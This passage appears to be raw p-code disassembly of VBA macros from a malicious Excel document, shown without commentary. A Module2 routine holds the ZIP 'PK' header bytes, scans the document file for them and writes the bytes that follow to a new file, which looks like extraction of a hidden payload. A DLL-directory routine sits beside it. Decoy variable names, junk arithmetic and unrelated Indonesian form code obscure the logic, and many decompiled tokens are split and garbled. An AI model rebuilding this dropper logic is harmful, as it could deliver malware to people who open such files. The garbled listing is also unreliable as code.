  5966. ' Ld salesHeade
  5967. ' ArgsMemCall (Call) rs 0x0000
  5968. ' Line #254:
  5969. ' StartWithExpr
  5970. ' Ld ActiveSheet
  5971. ' With
  5972. ' Line #255:
  5973. ' Line #256:
  5974. ' EndWith
  5975. ' Line #257:
  5976. ' EndIfBlock
  5977. ' Line #258:
  5978. ' Line #259:
  5979. ' EndSub
  5980. ' Line #260:
  5981. ' Line #261:
  5982. ' Line #262:
  5983. ' FuncDefn (Sub InputWeekData(x As Date))
  5984. ' Line #263:
  5985. ' Line #264:
  5986. ' Ld x
  5987. ' LitStr 0x0002 "ww"
  5988. ' Ld vbMonday
  5989. ' Ld vbFirstFourDays
  5990. ' ArgsLd Format 0x0004
  5991. ' St ActiveCell
  5992. ' Line #265:
  5993. ' LitDI2 0x0000
  5994. ' LitDI2 0x0001
  5995. ' Ld ActiveCell
  5996. ' ArgsMemLd Offset 0x0002
  5997. ' ArgsMemCall Select 0x0000
  5998. ' Line #266:
  5999. ' Ld x
  6000. ' St ActiveCell
  6001. ' Line #267:
  6002. ' LitDI2 0x0000
  6003. ' LitDI2 0x0001
  6004. ' Ld ActiveCell
  6005. ' ArgsMemLd Offset 0x0002
  6006. ' ArgsMemCall Select 0x0000
  6007. ' Line #268:
  6008. ' Ld x
  6009. ' LitDI2 0x0006
  6010. ' Add
  6011. ' St ActiveCell
  6012. ' Line #269:
  6013. ' LitDI2 0x0000
  6014. ' LitDI2 0x0001
  6015. ' Ld ActiveCell
  6016. ' ArgsMemLd Offset 0x0002
  6017. ' ArgsMemCall Select 0x0000
  6018. ' Line #270:
  6019. ' Line #271:
  6020. ' EndSub
  6021. ' Line #272:
  6022. ' FuncDefn (Private Sub TextBox3_Change())
  6023. ' Line #273:
  6024. ' Line #274:
  6025. ' Ld TextBox3
  6026. ' MemLd Text
  6027. ' ArgsLd LTrim 0x0001
  6028. ' St Y
  6029. ' Line #275:
  6030. ' Ld TextBox3
  6031. ' St d
  6032. ' Line #276:
  6033. ' Line #277:
  6034. ' Ld x
  6035. ' LitDI2 0x0005
  6036. ' Eq
  6037. ' IfBlock
  6038. ' Line #278:
  6039. ' Ld TextBox4
  6040. ' ArgsMemCall SetFocus 0x0000
  6041. ' Line #279:
  6042. ' EndIfBlock
  6043. ' Line #280:
  6044. ' Line #281:
  6045. ' EndSub
  6046. ' Line #282:
  6047. ' Line #283:
  6048. ' Line #284:
  6049. ' Line #285:
  6050. ' Line #286:
  6051. ' Line #287:
  6052. ' Line #288:
  6053. ' Line #289:
  6054. ' Line #290:
  6055. ' Line #291:
  6056. ' Line #292:
  6057. ' Line #293:
  6058. ' Line #294:
  6059. ' Line #295:
  6060. ' Line #296:
  6061. ' Line #297:
  6062. ' _VBA_PROJECT_CUR/VBA/Module2 - 18333 bytes
  6063. ' Line #0:
  6064. ' Line #1:
  6065. ' Dim (Public Const)
  6066. ' LitDI2 0x0050
  6067. ' VarDefn FirstB (As Byte)
  6068. ' Line #2:
  6069. ' Dim (Public Const)
  6070. ' LitDI2 0x004B
  6071. ' VarDefn SecondB (As Byte)
  6072. ' Line #3:
  6073. ' Dim (Public Const)
  6074. ' LitDI2 0x0003
  6075. ' VarDefn ThirdB (As Byte)
  6076. ' Line #4:
  6077. ' Dim (Public Const)
  6078. ' LitDI2 0x0004
  6079. ' VarDefn FourthB (As Byte)
  6080. ' Line #5:
  6081. ' FuncDefn (Public Sub GetParam(Count As Integer))
  6082. ' Line #6:
  6083. ' Dim
  6084. ' VarDefn I (As Long)
  6085. ' Line #7:
  6086. ' Dim
  6087. ' VarDefn j (As Integer)
  6088. ' Line #8:
  6089. ' Dim
  6090. ' VarDefn C (As String)
  6091. ' Line #9:
  6092. ' Dim
  6093. ' VarDefn tooolsetChunkI (As Boolean)
  6094. ' Line #10:
  6095. ' Dim
  6096. ' VarDefn tooolsetChunkQ (As Boolean)
  6097. ' Line #11:
  6098. ' Line #12:
  6099. ' LitDI2 0x0001
  6100. ' St j
  6101. ' Line #13:
  6102. ' LitVarSpecial (False)
  6103. ' St tooolsetChunkI
  6104. ' Line #14:
  6105. ' LitVarSpecial (False)
  6106. ' St tooolsetChunkQ
  6107. ' Line #15:
  6108. ' LitStr 0x0000 ""
  6109. ' Ld GetP
  6110. ' MemSt aram
  6111. ' Line #16:
  6112. ' StartForVariable
  6113. ' Ld I
  6114. ' EndForVariable
  6115. ' LitDI2 0x0001
  6116. ' Ld Comma
  6117. ' MemLd nd$
  6118. ' FnLen
  6119. ' For
  6120. ' Line #17:
  6121. ' Ld Comma
  6122. ' MemLd nd$
  6123. ' Ld I
  6124. ' LitDI2 0x0001
  6125. ' Ld Mi
  6126. ' ArgsMemLd d$ 0x0003
  6127. ' St C
  6128. ' Line #18:
  6129. ' Ld tooolsetChunkI
  6130. ' IfBlock
  6131. ' Line #19:
  6132. ' Ld C
  6133. ' LitStr 0x0001 """
  6134. ' Eq
  6135. ' IfBlock
  6136. ' Line #20:
  6137. ' Ld j
  6138. ' LitDI2 0x0001
  6139. ' Add
  6140. ' St j
  6141. ' Line #21:
  6142. ' LitVarSpecial (False)
  6143. ' St tooolsetChunkI
  6144. ' Line #22:
  6145. ' LitVarSpecial (False)
  6146. ' St tooolsetChunkQ
  6147. ' Line #23:
  6148. ' EndIfBlock
  6149. ' Line #24:
  6150. ' Ld tooolsetChunkQ
  6151. ' Not
  6152. ' ElseIfBlock
  6153. ' Line #25:
  6154. ' Ld C
  6155. ' LitStr 0x0001 " "
  6156. ' Eq
  6157. ' IfBlock
  6158. ' Line #26:
  6159. ' Ld j
  6160. ' LitDI2 0x0001
  6161. ' Add
  6162. ' St j
  6163. ' Line #27:
  6164. ' EndIfBlock
  6165. ' Line #28:
  6166. ' ElseBlock
  6167. ' Line #29:
  6168. ' Ld C
  6169. ' LitStr 0x0001 """
  6170. ' Eq
  6171. ' IfBlock
  6172. ' Line #30:
  6173. ' Ld j
  6174. ' Ld Count
  6175. ' Gt
  6176. ' If
  6177. ' BoSImplicit
  6178. ' ExitSub
  6179. ' EndIf
  6180. ' Line #31:
  6181. ' LitVarSpecial (True)
  6182. ' St tooolsetChunkI
  6183. ' Line #32:
  6184. ' LitVarSpecial (True)
  6185. ' St tooolsetChunkQ
  6186. ' Line #33:
  6187. ' Ld C
  6188. ' LitStr 0x0004 " ccc"
  6189. ' Ne
  6190. ' ElseIfBlock
  6191. ' Line #34:
  6192. ' Line #35:
  6193. ' EndIfBlock
  6194. ' Line #36:
  6195. ' EndIfBlock
  6196. ' Line #37:
  6197. ' Ld tooolsetChunkI
  6198. ' Ld j
  6199. ' Ld Count
  6200. ' Eq
  6201. ' And
  6202. ' Ld C
  6203. ' LitStr 0x0001 """
  6204. ' Ne
  6205. ' And
  6206. ' If
  6207. ' BoSImplicit
  6208. ' Ld GetP
  6209. ' MemLd aram
  6210. ' Ld C
  6211. ' Concat
  6212. ' Ld GetP
  6213. ' MemSt aram
  6214. ' EndIf
  6215. ' Line #38:
  6216. ' StartForVariable
  6217. ' Ld I
  6218. ' EndForVariable
  6219. ' NextVar
  6220. ' Line #39:
  6221. ' EndSub
  6222. ' Line #40:
  6223. ' Line #41:
  6224. ' Line #42:
  6225. ' Line #43:
  6226. ' Line #44:
  6227. ' Line #45:
  6228. ' FuncDefn (Public Sub setDLLDirectory(ByVal targetDir As String))
  6229. ' Line #46:
  6230. ' Line #47:
  6231. ' Line #48:
  6232. ' Dim
  6233. ' VarDefn B (As Byte)
  6234. ' Line #49:
  6235. ' Dim
  6236. ' VarDefn p (As Long)
  6237. ' Line #50:
  6238. ' Line #51:
  6239. ' LitHI2 0x1000
  6240. ' Paren
  6241. ' ArgsCall code2 0x0001
  6242. ' Line #52:
  6243. ' Ld targetDir
  6244. ' Ld _B_var_StrConv
  6245. ' ArgsLd Str 0x0002
  6246. ' Paren
  6247. ' ArgsCall code1 0x0001
  6248. ' Line #53:
  6249. ' EndSub
  6250. ' Line #54:
  6251. ' Line #55:
  6252. ' FuncDefn (Public Sub GetParam3(Count As Integer))
  6253. ' Line #56:
  6254. ' Dim
  6255. ' VarDefn I (As Long)
  6256. ' Line #57:
  6257. ' Dim
  6258. ' VarDefn j (As Integer)
  6259. ' Line #58:
  6260. ' Dim
  6261. ' VarDefn C (As String)
  6262. ' Line #59:
  6263. ' Dim
  6264. ' VarDefn tooolsetChunkI (As Boolean)
  6265. ' Line #60:
  6266. ' Dim
  6267. ' VarDefn tooolsetChunkQ (As Boolean)
  6268. ' Line #61:
  6269. ' Line #62:
  6270. ' LitDI2 0x0001
  6271. ' St j
  6272. ' Line #63:
  6273. ' LitVarSpecial (False)
  6274. ' St tooolsetChunkI
  6275. ' Line #64:
  6276. ' LitVarSpecial (False)
  6277. ' St tooolsetChunkQ
  6278. ' Line #65:
  6279. ' LitStr 0x0000 ""
  6280. ' Ld GetP
  6281. ' MemSt aram
  6282. ' Line #66:
  6283. ' StartForVariable
  6284. ' Ld I
  6285. ' EndForVariable
  6286. ' LitDI2 0x0001
  6287. ' Ld Comma
  6288. ' MemLd nd$
  6289. ' FnLen
  6290. ' For
  6291. ' Line #67:
  6292. ' Ld Comma
  6293. ' MemLd nd$
  6294. ' Ld I
  6295. ' LitDI2 0x0001
  6296. ' Ld Mi
  6297. ' ArgsMemLd d$ 0x0003
  6298. ' St C
  6299. ' Line #68:
  6300. ' Ld tooolsetChunkI
  6301. ' IfBlock
  6302. ' Line #69:
  6303. ' Ld C
  6304. ' LitStr 0x0001 """
  6305. ' Eq
  6306. ' IfBlock
  6307. ' Line #70:
  6308. ' Ld j
  6309. ' LitDI2 0x0001
  6310. ' Add
  6311. ' St j
  6312. ' Line #71:
  6313. ' LitVarSpecial (False)
  6314. ' St tooolsetChunkI
  6315. ' Line #72:
  6316. ' LitVarSpecial (False)
  6317. ' St tooolsetChunkQ
  6318. ' Line #73:
  6319. ' EndIfBlock
  6320. ' Line #74:
  6321. ' Line #75:
  6322. ' ElseBlock
  6323. ' Line #76:
  6324. ' Ld C
  6325. ' LitStr 0x0001 """
  6326. ' Eq
  6327. ' IfBlock
  6328. ' Line #77:
  6329. ' Ld j
  6330. ' Ld Count
  6331. ' Gt
  6332. ' If
  6333. ' BoSImplicit
  6334. ' ExitSub
  6335. ' EndIf
  6336. ' Line #78:
  6337. ' LitVarSpecial (True)
  6338. ' St tooolsetChunkI
  6339. ' Line #79:
  6340. ' LitVarSpecial (True)
  6341. ' St tooolsetChunkQ
  6342. ' Line #80:
  6343. ' Ld C
  6344. ' LitStr 0x0001 " "
  6345. ' Ne
  6346. ' ElseIfBlock
  6347. ' Line #81:
  6348. ' LitVarSpecial (True)
  6349. ' St tooolsetChunkI
  6350. ' Line #82:
  6351. ' EndIfBlock
  6352. ' Line #83:
  6353. ' EndIfBlock
  6354. ' Line #84:
  6355. ' Ld tooolsetChunkI
  6356. ' Ld j
  6357. ' Ld Count
  6358. ' Eq
  6359. ' And
  6360. ' Ld C
  6361. ' LitStr 0x0001 """
  6362. ' Ne
  6363. ' And
  6364. ' If
  6365. ' BoSImplicit
  6366. ' Ld GetP
  6367. ' MemLd aram
  6368. ' Ld C
  6369. ' Concat
  6370. ' Ld GetP
  6371. ' MemSt aram
  6372. ' EndIf
  6373. ' Line #85:
  6374. ' StartForVariable
  6375. ' Ld I
  6376. ' EndForVariable
  6377. ' NextVar
  6378. ' Line #86:
  6379. ' EndSub
  6380. ' Line #87:
  6381. ' Line #88:
  6382. ' Line #89:
  6383. ' Line #90:
  6384. ' Line #91:
  6385. ' Line #92:
  6386. ' Line #93:
  6387. ' FuncDefn (Public Sub Composition(Composition2 As String, ofbl As String, fl As Long))
  6388. ' Line #94:
  6389. ' Dim
  6390. ' VarDefn PChannel (As Long)
  6391. ' Line #95:
  6392. ' Dim
  6393. ' VarDefn logicVari (As Integer)
  6394. ' Line #96:
  6395. ' Dim
  6396. ' VarDefn SimpleMethod (As Integer)
  6397. ' Line #97:
  6398. ' LitDI2 0x0001
  6399. ' Ld fl
  6400. ' Redim HurricanMoes 0x0001 (As Variant)
  6401. ' Line #98:
  6402. ' Ld FreeFile
  6403. ' St PChannel
  6404. ' Line #99:
  6405. ' Ld Composition2
  6406. ' Ld PChannel
  6407. ' LitDefault
  6408. ' Open (For Binary Access Read)
  6409. ' Line #100:
  6410. ' Ld FirstB
  6411. ' LitDI2 0x0001
  6412. ' ArgsSt HurricanMoes 0x0001
  6413. ' Line #101:
  6414. ' Line #102:
  6415. ' Ld SecondB
  6416. ' LitDI2 0x0002
  6417. ' ArgsSt HurricanMoes 0x0001
  6418. ' Line #103:
  6419. ' Ld ThirdB
  6420. ' LitDI2 0x0003
  6421. ' ArgsSt HurricanMoes 0x0001
  6422. ' Line #104:
  6423. ' Ld FourthB
  6424. ' LitDI2 0x0004
  6425. ' ArgsSt HurricanMoes 0x0001
  6426. ' Line #105:
  6427. ' LitDI2 0x0001
  6428. ' St logicVari
  6429. ' Line #106:
  6430. ' Ld PChannel
  6431. ' ArgsLd EOF 0x0001
  6432. ' Not
  6433. ' DoWhile
  6434. ' Line #107:
  6435. ' Ld PChannel
  6436. ' LitDefault
  6437. ' Ld MoveStep
  6438. ' GetRec
  6439. ' Line #108:
  6440. ' Ld MoveStep
  6441. ' Ld FirstB
  6442. ' Eq
  6443. ' IfBlock
  6444. ' Line #109:
  6445. ' Line #110:
  6446. ' Ld PChannel
  6447. ' LitDefault
  6448. ' Ld PatchForHeart
  6449. ' GetRec
  6450. ' Line #111:
  6451. ' Ld PatchForHeart
  6452. ' Ld SecondB
  6453. ' Eq
  6454. ' IfBlock
  6455. ' Line #112:
  6456. ' Line #113:
  6457. ' Ld PChannel
  6458. ' LitDefault
  6459. ' Ld PatchForLuck
  6460. ' GetRec
  6461. ' Line #114:
  6462. ' Ld PatchForLuck
  6463. ' Ld ThirdB
  6464. ' Eq
  6465. ' IfBlock
  6466. ' Line #115:
  6467. ' Ld PChannel
  6468. ' LitDefault
  6469. ' Ld PatchForLuck
  6470. ' GetRec
  6471. ' Line #116:
  6472. ' Ld PatchForLuck
  6473. ' Ld FourthB
  6474. ' Eq
  6475. ' IfBlock
  6476. ' Line #117:
  6477. ' StartForVariable
  6478. ' Ld k
  6479. ' EndForVariable
  6480. ' LitDI2 0x0005
  6481. ' Ld fl
  6482. ' For
  6483. ' Line #118:
  6484. ' Ld PChannel
  6485. ' LitDefault
  6486. ' Ld MoveStep
  6487. ' GetRec
  6488. ' Line #119:
  6489. ' Ld MoveStep
  6490. ' Ld k
  6491. ' ArgsSt HurricanMoes 0x0001
  6492. ' Line #120:
  6493. ' StartForVariable
  6494. ' Ld k
  6495. ' EndForVariable
  6496. ' NextVar
  6497. ' Line #121:
  6498. ' ExitDo
  6499. ' Line #122:
  6500. ' Line #123:
  6501. ' EndIfBlock
  6502. ' Line #124:
  6503. ' EndIfBlock
  6504. ' Line #125:
  6505. ' EndIfBlock
  6506. ' Line #126:
  6507. ' EndIfBlock
  6508. ' Line #127:
  6509. ' Loop
  6510. ' Line #128:
  6511. ' OnError (Resume Next)
  6512. ' Line #129:
  6513. ' LitDI2 0x0764
  6514. ' St PublicationChannel
  6515. ' Line #130:
  6516. ' Ld PChannel
  6517. ' Close 0x0001
  6518. ' Line #131:
  6519. ' LitDI2 0x0764
  6520. ' Ld PublicationChannel
  6521. ' Add
  6522. ' St PublicationChannel
  6523. ' Line #132:
  6524. ' Ld FreeFile
  6525. ' St PChannel
  6526. ' Line #133:
  6527. ' LitDI2 0x0764
  6528. ' Ld PublicationChannel
  6529. ' Add
  6530. ' St PublicationChannel
  6531. ' Line #134:
  6532. ' Ld ofbl
  6533. ' Ld PChannel
  6534. ' Sharp
  6535. ' LitDefault
  6536. ' Open (For Binary Lock Read Write)
  6537. ' Line #135:
  6538. ' LitDI2 0x0764
  6539. ' Ld PublicationChannel
  6540. ' Add
  6541. ' St PublicationChannel
  6542. ' Line #136:
  6543. ' LitDI2 0x0001
  6544. ' St zeroBob
  6545. ' Line #137:
  6546. ' StartForVariable
  6547. ' Ld I
  6548. ' EndForVariable
  6549. ' Ld zeroBob
  6550. ' Ld HurricanMoes
  6551. ' FnUBound 0x0000
  6552. ' For
  6553. ' Line #138:
  6554. ' Line #139:
  6555. ' Ld WelcomeDialog
  6556. ' MemLd Enabled
  6557. ' LitVarSpecial (True)
  6558. ' Eq
  6559. ' IfBlock
  6560. ' Line #140:
  6561. ' Line #141:
  6562. ' Ld PChannel
  6563. ' Sharp
  6564. ' LitDefault
  6565. ' Ld I
  6566. ' ArgsLd HurricanMoes 0x0001
  6567. ' PutRec
  6568. ' Line #142:
  6569. ' EndIfBlock
  6570. ' Line #143:
  6571. ' StartForVariable
  6572. ' Ld I
  6573. ' EndForVariable
  6574. ' NextVar
  6575. ' Line #144:
  6576. ' Ld PChannel
  6577. ' Close 0x0001
  6578. ' Line #145:
  6579. ' Ld FreeFile
  6580. ' St PChannel
  6581. ' Line #146:
  6582. ' StartForVariable
  6583. ' Ld HSP
  6584. ' EndForVariable
  6585. ' LitDI2 0x0021
  6586. ' LitDI2 0x0001
  6587. ' UMi
  6588. ' LitR8 0x0000 0x0000 0x0000 0x3FD0
  6589. ' UMi
  6590. ' ForStep
  6591. ' Line #147:
  6592. ' LitDI2 0x0006
  6593. ' Ld I
  6594. ' Add
  6595. ' St PChannel
  6596. ' Line #148:
  6597. ' StartForVariable
  6598. ' Ld HSP
  6599. ' EndForVariable
  6600. ' NextVar
  6601. ' Line #149:
  6602. ' LitDI2 0x0006
  6603. ' Ld I
  6604. ' Add
  6605. ' St PChannel
  6606. ' Line #150:
  6607. ' EndSub
  6608. ' Line #151:
  6609. ' Line #152:
  6610. ' Line #153:
  6611. ' Line #154:
  6612. ' Line #155:
  6613. ' FuncDefn (Private Sub cmd_Keluar_Click())
  6614. ' Line #156:
  6615. ' Ld LSD
  6616. ' MemLd Me
  6617. ' ArgsCall Unload 0x0001
  6618. ' Line #157:
  6619. ' LitVarSpecial (True)
  6620. ' Ld MDIForm1
  6621. ' MemLd dokter
  6622. ' MemSt Enabled
  6623. ' Line #158:
  6624. ' LitVarSpecial (False)
  6625. ' Ld MDIForm1
  6626. ' MemLd dokter
  6627. ' MemSt Checked
  6628. ' Line #159:
  6629. ' EndSub
  6630. ' Line #160:
  6631. ' Line #161:
  6632. ' FuncDefn (Private Sub cmd_Perbaiki_Click())
  6633. ' Line #162:
  6634. ' Ld cmd_Perbaiki
  6635. ' MemLd Caption
  6636. ' LitStr 0x0009 "Pe&rbaiki"
  6637. ' Eq
  6638. ' IfBlock
  6639. ' Line #163:
  6640. ' LitVarSpecial (False)
  6641. ' Ld cmd_Simpan
  6642. ' MemSt Enabled
  6643. ' Line #164:
  6644. ' LitVarSpecial (False)
  6645. ' Ld cmd_Hapus
  6646. ' MemSt Enabled
  6647. ' Line #165:
  6648. ' LitVarSpecial (True)
  6649. ' Ld cmd_Batal
  6650. ' MemSt Enabled
  6651. ' Line #166:
  6652. ' Dim
  6653. ' VarDefn var (As String)
  6654. ' Line #167:
  6655. ' LitStr 0x0034 "Ketikkan kode dokter yang datanya akan di perbaiki !"
  6656. ' LitStr 0x0014 "Perbaiki Data dokter"
  6657. ' ArgsLd InputBox 0x0002
  6658. ' St var
  6659. ' Line #168:
  6660. ' Ld var
  6661. ' LitVarSpecial (Empty)
  6662. ' Eq
  6663. ' If
  6664. ' BoSImplicit
  6665. ' ExitSub
  6666. ' EndIf
  6667. ' Line #169:
  6668. ' LitStr 0x000B "Kode_dokter"
  6669. ' Ld Data1
  6670. ' MemLd Recordset
  6671. ' MemSt Index
  6672. ' Line #170:
  6673. ' LitStr 0x0001 "="
  6674. ' Ld var
  6675. ' Ld Data1
  6676. ' MemLd Recordset
  6677. ' ArgsMemCall Seek 0x0002
  6678. ' Line #171:
  6679. ' Ld Data1
  6680. ' MemLd Recordset
  6681. ' MemLd NoMatch
  6682. ' Not
  6683. ' IfBlock
  6684. ' Line #172:
  6685. ' Ld tam
  6686. ' ArgsMemCall (Call) tam 0x0000
  6687. ' Line #173:
  6688. ' LitVarSpecial (False)
  6689. ' Ld pil
  6690. ' MemSt Enabled
  6691. ' Line #174:
  6692. ' LitVarSpecial (True)
  6693. ' Ld txtkd_dok
  6694. ' MemSt Enabled
  6695. ' Line #175:
  6696. ' LitStr 0x0010 "&Perbaharui data"
  6697. ' Ld cmd_Perbaiki
  6698. ' MemSt Caption
  6699. ' Line #176:
  6700. ' ElseBlock
  6701. ' Line #177:
  6702. ' LitStr 0x001F "Data dokter dengan kode dokter "
  6703. ' Ld var
  6704. ' Concat
  6705. ' LitStr 0x0012 " tidak diketemukan"
  6706. ' Concat
  6707. ' ArgsCall MsgBox 0x0001
  6708. ' Line #178:
  6709. ' EndIfBlock
  6710. ' Line #179:
  6711. ' ElseBlock
  6712. ' Line #180:
  6713. ' Ld Data1
  6714. ' MemLd Recordset
  6715. ' ArgsMemCall txtnm_dok 0x0000
  6716. ' Line #181:
  6717. ' Ld pil
  6718. ' MemLd Text
  6719. ' Ld Data1
  6720. ' MemLd Recordset
  6721. ' DictSt Edit
  6722. ' Line #182:
  6723. ' Ld txtkd_dok
  6724. ' MemLd Text
  6725. ' Ld Data1
  6726. ' MemLd Recordset
  6727. ' DictSt kode_dokter
  6728. ' Line #183:
  6729. ' Ld Data1
  6730. ' MemLd Recordset
  6731. ' ArgsMemCall nama_dokter 0x0000
  6732. ' Line #184:
  6733. ' Ld Update
  6734. ' ArgsMemCall (Call) ber 0x0000
  6735. ' Line #185:
  6736. ' LitStr 0x0009 "Pe&rbaiki"
  6737. ' Ld cmd_Perbaiki
  6738. ' MemSt Caption
  6739. ' Line #186:
  6740. ' LitVarSpecial (False)
  6741. ' Ld cmd_Batal
  6742. ' MemSt Enabled
  6743. ' Line #187:
  6744. ' LitVarSpecial (True)
  6745. ' Ld cmd_Simpan
  6746. ' MemSt Enabled
  6747. ' Line #188:
  6748. ' LitVarSpecial (True)
  6749. ' Ld cmd_Hapus
  6750. ' MemSt Enabled
  6751. ' Line #189:
  6752. ' Ld sih
  6753. ' ArgsMemCall (Call) tdk_bi 0x0000
  6754. ' Line #190:
  6755. ' EndIfBlock
  6756. ' Line #191:
  6757. ' EndSub
  6758. ' Line #192:
  6759. ' Line #193:
  6760. ' FuncDefn (Private Sub sa())
  6761. ' Line #194:
  6762. ' Ld cmd_Simpan
  6763. ' MemLd Caption
  6764. ' LitStr 0x0009 "&Isi Data"
  6765. ' Eq
  6766. ' IfBlock
  6767. ' Line #195:
  6768. ' Ld cmd_Simpan_Click
  6769. ' ArgsMemCall (Call) bis 0x0000
  6770. ' Line #196:
  6771. ' Ld A
  6772. ' ArgsMemCall Or 0x0000
  6773. ' Line #197:
  6774. ' Ld nom
  6775. ' MemLd M
  6776. ' MemLd txtkd_dok
  6777. ' ArgsMemCall SetFocus 0x0000
  6778. ' Line #198:
  6779. ' LitVarSpecial (True)
  6780. ' Ld cmd_Batal
  6781. ' MemSt Enabled
  6782. ' Line #199:
  6783. ' LitVarSpecial (False)
  6784. ' Ld cmd_Perbaiki
  6785. ' MemSt Enabled
  6786. ' Line #200:
  6787. ' LitVarSpecial (False)
  6788. ' Ld cmd_Hapus
  6789. ' MemSt Enabled
  6790. ' Line #201:
  6791. ' LitVarSpecial (False)
  6792. ' Ld e
  6793. ' MemSt Enabled
  6794. ' Line #202:
  6795. ' LitStr 0x000C "&Simpan Data"
  6796. ' Ld cmd_Simpan
  6797. ' MemSt Caption
  6798. ' Line #203:
  6799. ' ElseBlock
  6800. ' Line #204:
  6801. ' LineCont 0x0004 07 00 08 00
  6802. ' Ld pil
  6803. ' MemLd Text
  6804. ' LitStr 0x0000 ""
  6805. ' Eq
  6806. ' Ld txtkd_dok
  6807. ' MemLd Text
  6808. ' LitStr 0x0000 ""
  6809. ' Eq
  6810. ' Or
  6811. ' IfBlock
  6812. ' Line #205:
  6813. ' LitStr 0x0019 "Data tidak boleh kosong !"
  6814. ' Ld vbCritical
  6815. ' LitStr 0x0017 "SISTEM PENJUALAN KREDIT"
  6816. ' ArgsCall MsgBox 0x0003
  6817. ' Line #206:
  6818. ' Ld pil
  6819. ' ArgsMemCall SetFocus 0x0000
  6820. ' Line #207:
  6821. ' ElseBlock
  6822. ' Line #208:
  6823. ' LitVarSpecial (False)
  6824. ' Ld cmd_Batal
  6825. ' MemSt Enabled
  6826. ' Line #209:
  6827. ' LitVarSpecial (True)
  6828. ' Ld cmd_Perbaiki
  6829. ' MemSt Enabled
  6830. ' Line #210:
  6831. ' LitVarSpecial (True)
  6832. ' Ld cmd_Hapus
  6833. ' MemSt Enabled
  6834. ' Line #211:
  6835. ' LitVarSpecial (True)
  6836. ' Ld e
  6837. ' MemSt Enabled
  6838. ' Line #212:
  6839. ' Ld pil
  6840. ' MemLd Text
  6841. ' Ld Data1
  6842. ' MemLd Recordset
  6843. ' DictSt Edit
  6844. ' Line #213:
  6845. ' Ld txtkd_dok
  6846. ' MemLd Text
  6847. ' Ld Data1
  6848. ' MemLd Recordset
  6849. ' DictSt kode_dokter
  6850. ' Line #214:
  6851. ' Ld Data1
  6852. ' MemLd Recordset
  6853. ' ArgsMemCall nama_dokter 0x0000
  6854. ' Line #215:
  6855. ' Ld Update
  6856. ' ArgsMemCall (Call) ber 0x0000
  6857. ' Line #216:
  6858. ' LitStr 0x0009 "&Isi Data"
  6859. ' Ld cmd_Simpan
  6860. ' MemSt Caption
  6861. ' Line #217:
  6862. ' EndIfBlock
  6863. ' Line #218:
  6864. ' EndIfBlock
  6865. ' Line #219:
  6866. ' EndSub
  6867. ' Line #220:
  6868. ' Line #221:
  6869. ' Line #222:
  6870. ' Line #223:
  6871. ' FuncDefn (Function cmd_cari(ByVal retVal As Variant) As Variant)
  6872. ' Line #224:
  6873. ' Ld retVal
  6874. ' LitDI2 0x0000
  6875. ' Ne
  6876. ' IfBlock
  6877. ' Line #225:
  6878. ' Ld retVal
  6879. ' St cmd_cari
  6880. ' Line #226:
  6881. ' ElseBlock
  6882. ' Line #227:
  6883. ' LitStr 0x0000 ""
  6884. ' St cmd_cari
  6885. ' Line #228:
  6886. ' EndIfBlock
  6887. ' Line #229:
  6888. ' Line #230:
  6889. ' EndFunc
  6890. ' Line #231:
  6891. ' Line #232:
  6892. ' FuncDefn (Function v() As AddressOf)
  6893. ' Line #233:
  6894. ' Dim
  6895. ' VarDefn getFile (As String)
  6896. ' Line #234:
  6897. ' Dim
  6898. ' OptionBase
  6899. ' LitDI2 0x03E8
  6900. ' VarDefn s (As String)
  6901. ' Line #235:
  6902. ' Dim
  6903. ' VarDefn sl
  6904. ' Line #236:
  6905. ' Dim
  6906. ' VarDefn I (As Integer)
  6907. ' Line #237:
  6908. ' Ld s
  6909. ' Erase 0x0001
  6910. ' Line #238:
  6911. ' LitDI2 0x0000
  6912. ' St I
  6913. ' Line #239:
  6914. ' StartForVariable
  6915. ' Ld sl
  6916. ' EndForVariable
  6917. ' LitStr 0x0007 "B1:B100"
  6918. ' LitStr 0x0006 "Sheet1"
  6919. ' ArgsLd r 0x0001
  6920. ' ArgsMemLd Range 0x0001
  6921. ' ForEach
  6922. ' Line #240:
  6923. ' Ld sl
  6924. ' MemLd Value
  6925. ' St getFile
  6926. ' Line #241:
  6927. ' Ld getFile
  6928. ' LitStr 0x0000 ""
  6929. ' Ne
  6930. ' IfBlock
  6931. ' Line #242:
  6932. ' Ld I
  6933. ' LitDI2 0x0001
  6934. ' Add
  6935. ' St I
  6936. ' Line #243:
  6937. ' Ld getFile
  6938. ' Ld I
  6939. ' ArgsSt s 0x0001
  6940. ' Line #244:
  6941. ' EndIfBlock
  6942. ' Line #245:
  6943. ' StartForVariable
  6944. ' Ld sl
  6945. ' EndForVariable
  6946. ' NextVar
  6947. ' Line #246:
  6948. ' ArgsLd s 0x0000
  6949. ' St v
  6950. ' Line #247:
  6951. ' EndFunc
  6952. ' Line #248:
  6953. ' Line #249:
  6954. ' Line #250:
  6955. ' Line #251:
  6956. ' LineCont 0x000C 0D 00 00 00 10 00 00 00 17 00 00 00
  6957. ' ConstFuncExpr
  6958. ' LitNothing
  6959. ' LitNothing
  6960. ' FuncDefn (Function Worksheets(ByVal Text As String, ByVal MatchRegExp As String, Optional MatchWord, Optional CaseCompare As Object, Optional RegExp As Object) As Boolean)
  6961. ' Line #252:
  6962. ' Line #253:
  6963. ' OnError Err
  6964. ' BoS 0x0000
  6965. ' Line #254:
  6966. ' Dim
  6967. ' VarDefn Match (As Boolean)
  6968. ' Line #255:
  6969. ' LitVarSpecial (False)
  6970. ' St Match
  6971. ' Line #256:
  6972. ' Do
  6973. ' Line #257:
  6974. ' Ld MatchRegExp
  6975. ' LitStr 0x0000 ""
  6976. ' Eq
  6977. ' Paren
  6978. ' Ld Text
  6979. ' LitStr 0x0000 ""
  6980. ' Eq
  6981. ' Paren
  6982. ' Or
  6983. ' If
  6984. ' BoSImplicit
  6985. ' ExitDo
  6986. ' EndIf
  6987. ' Line #258:
  6988. ' Line #259:
  6989. ' Dim
  6990. ' VarDefn result (As Boolean)
  6991. ' Line #260:
  6992. ' LitVarSpecial (False)
  6993. ' St result
  6994. ' Line #261:
  6995. ' Ld CaseCompare
  6996. ' LitNothing
  6997. ' Is
  6998. ' IfBlock
  6999. ' Line #262:
  7000. ' LitVarSpecial (True)
  7001. ' St result
  7002. ' Line #263:
  7003. ' SetStmt
  7004. ' LitStr 0x000F "VBScript.RegExp"
  7005. ' ArgsLd RegCreateFlag 0x0001
  7006. ' Set CaseCompare
  7007. ' Line #264:
  7008. ' EndIfBlock
  7009. ' Line #265:
  7010. ' Line #266:
  7011. ' Ld MatchRegExp
  7012. ' Ld CaseCompare
  7013. ' MemSt CreateObject
  7014. ' Line #267:
